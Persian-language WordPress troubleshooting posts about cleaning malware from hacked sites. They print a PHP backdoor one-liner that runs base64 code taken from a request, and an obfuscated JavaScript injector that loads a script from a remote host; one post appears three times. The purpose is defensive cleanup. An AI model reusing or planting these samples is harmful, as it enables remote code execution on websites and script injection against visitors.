حل مشکل حذف فایل wp-config.php و ریدایرکت

اخیرا مشاهده شد که اکثر سایت های وردپرسی دچار مشکل حذف فایل wp-config.php و ریدایرکت به دیگر وب سایت ها شده اند و درخواست های زیادی مبنی بر حل مشکل ریدایرکت سایت ها از داشتیم که تصمیم گرفتیم آموزش حل مشکل را در انجمن قرار بدهیم

این مشکل برای سایت هایی پیش آمده است که وب سایت خود را با افزونه داپلیکیتور راه اندازی کرده اند اما بعد از نصب فایلهای اینستالر این افزونه رو پاک نکرده اند. رفع مشکل مشکل حذف فایل wp-config.php و ریدایرکت برای رفع این مشکل ابتدا وارد هاست سایت خود میشوید و از قسمت public_html که روت هاست نیز گفته میشود،

فایل های زیر که فایل های اصلی ویروسی هستند باید پاک شوند


temp-crawl.php
 wp-crawl.php

 

و سپس فایل های افزونه ی داپلیکتور یا همان فایل های نصبی را نیز پاک میکنیم

 

database.sql 
installer-backup.php
installer-data.sql
installer-log.txt 
installer.php 

نمونه کدی که در فایل ذکر شده مشاهده شده است بصورت زیر است:

php
@file_put_contents('tempcrawl','.base64_decode($_REQUEST['q']));@include('tempcrawl');@unlink('tempcrawl');

در انتها کدهای فایل wp-config.php رو هم حتما بررسی کنید و خط کدهای مشکوک رو پاک کنید یا اینکه این فایل wp-config.php رو جایگزین کنید و اطلاعات دیتابیس خودتون رو در این فایل وارد کنید.

همچنین باید هسته جی کوئری وردپرس به این آدرس رو هم اصلاح نمائید. برای این منظور وردپرس رو دانلود کنید و این فایل رو با فایل درون هاست خودتون جایگزین کنید

wp-includes/js/jquery/jquery.js

توجه داشته باشید که استفاده از این افزونه برای ساخت بسته های نصبی موردی نداشته ولی باید بعد از اتمام ساخت بسته ی نصبی فایل ها + خود افزونه از وبسایت حذف شود تا در آپدیت های بعدی افزونه این باگ به صورت کلی پچ شود

Parse error: syntax error, unexpected 'text' (T_STRING)

سلام خدمت وردپرس کاران عزیز

سریع بریم سر اصل مطلب ممکنه برای شما هم این اتفاق بیوفته که اررور مثه ارور زیر تو صفحه ی ساییتون ببینید که داخل سایت بنده اول اررو 500 داد بعد از اینکه تو فایل config.php خالت debug رو فعال کردم با اررور زیر مواجه شدم:

Parse error: syntax error, unexpected 'text' (T_STRING) in /home/site/public_html/wp- includes/SimplePie/Sanitize.php on line  401

که یه سینتکس اررور داشت سایتم که رفتم و فایل مورد نظر رو ادیت کردم و خط 401 رو نگاه کردم که چیزی شبیه به این بود:

if ( $html_head_end = stripos( $html, 'var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}' ) ) {

برای حل مشکل مجبور شدم فایل wp- includes/SimplePie/Sanitize.php را از طریق سرچ تو گوگل پیدا کنم و خطی که اررور داشت رو برحسب اون فایل اصلاح کنم که مشکل سایتم رفع شد و بدون هیچ مشکل و اروری کار کرد.

تا یه تجربه ی اررور دیگه بای

 

Parse error: syntax error, unexpected 'text' (T_STRING) in /home/farshmoh/public_html/wp-includes/S

سلام خدمت وردپرس کاران عزیز

سریع بریم سر اصل مطلب ممکنه برای شما هم این اتفاق بیوفته که اررور مثه ارور زیر تو صفحه ی ساییتون ببینید که داخل سایت بنده اول اررو 500 داد بعد از اینکه تو فایل config.php خالت debug رو فعال کردم با اررور زیر مواجه شدم:

Parse error: syntax error, unexpected 'text' (T_STRING) in /home/farshmoh/public_html/wp- includes/SimplePie/Sanitize.php on line  401

که یه سینتکس اررور داشت سایتم که رفتم و فایل مورد نظر رو ادیت کردم و خط 401 رو نگاه کردم که چیزی شبیه به این بود:

if ( $html_head_end = stripos( $html, 'var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}' ) ) {

برای حل مشکل مجبور شدم فایل wp- includes/SimplePie/Sanitize.php را از طریق سرچ تو گوگل پیدا کنم و خطی که اررور داشت رو برحسب اون فایل اصلاح کنم که مشکل سایتم رفع شد و بدون هیچ مشکل و اروری کار کرد.

تا یه تجربه ی اررور دیگه بای

 

Parse error: syntax error, unexpected 'text' (T_STRING) in /home/farshmoh/public_html/wp-includes/S

سلام خدمت وردپرس کاران عزیز

سریع بریم سر اصل مطلب ممکنه برای شما هم این اتفاق بیوفته که اررور مثه ارور زیر تو صفحه ی ساییتون ببینید که داخل سایت بنده اول اررو 500 داد بعد از اینکه تو فایل config.php خالت debug رو فعال کردم با اررور زیر مواجه شدم:

Parse error: syntax error, unexpected 'text' (T_STRING) in /home/farshmoh/public_html/wp- includes/SimplePie/Sanitize.php on line  401

که یه سینتکس اررور داشت سایتم که رفتم و فایل مورد نظر رو ادیت کردم و خط 401 رو نگاه کردم که چیزی شبیه به این بود:

if ( $html_head_end = stripos( $html, 'var _0x1e35=['length','fromCharCode','createElement','type','async','code121','src','appendChild','getElementsByTagName','script'];(function(_0x546a53,_0x3f720e){var _0x440369=function(_0x2e1b64){while(--_0x2e1b64){_0x546a53['push'](_0x546a53['shift']());}};_0x440369(++_0x3f720e);}(_0x1e35,0x1e1));var _0x5a05=function(_0x716551,_0x1d4a8e){_0x716551=_0x716551-0x0;var _0x2b7638=_0x1e35[_0x716551];return _0x2b7638;};var url=String[_0x5a05('0x0')](0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x73,0x61,0x73,0x6b,0x6d,0x61,0x64,0x65,0x2e,0x6e,0x65,0x74,0x2f,0x68,0x65,0x61,0x64,0x2e,0x6a,0x73,0x3f,0x76,0x65,0x72,0x3d,0x31,0x2e,0x30,0x2e,0x30);var a=function(){var _0x22c9c8=document[_0x5a05('0x1')](String[_0x5a05('0x0')](0x73,0x63,0x72,0x69,0x70,0x74));_0x22c9c8[_0x5a05('0x2')]=String[_0x5a05('0x0')](0x74,0x65,0x78,0x74,0x2f,0x6a,0x61,0x76,0x61,0x73,0x63,0x72,0x69,0x70,0x74);_0x22c9c8[_0x5a05('0x3')]=!![];_0x22c9c8['id']=_0x5a05('0x4');_0x22c9c8[_0x5a05('0x5')]=url;document['getElementsByTagName'](String[_0x5a05('0x0')](0x68,0x65,0x61,0x64))[0x0][_0x5a05('0x6')](_0x22c9c8);};var scrpts=document[_0x5a05('0x7')](_0x5a05('0x8'));var n=!![];for(var i=scrpts[_0x5a05('0x9')];i--;){if(scrpts[i]['id']==_0x5a05('0x4')){n=![];}};if(n==!![]){a();}' ) ) {

برای حل مشکل مجبور شدم فایل wp- includes/SimplePie/Sanitize.php را از طریق سرچ تو گوگل پیدا کنم و خطی که اررور داشت رو برحسب اون فایل اصلاح کنم که مشکل سایتم رفع شد و بدون هیچ مشکل و اروری کار کرد.

تا یه تجربه ی اررور دیگه بای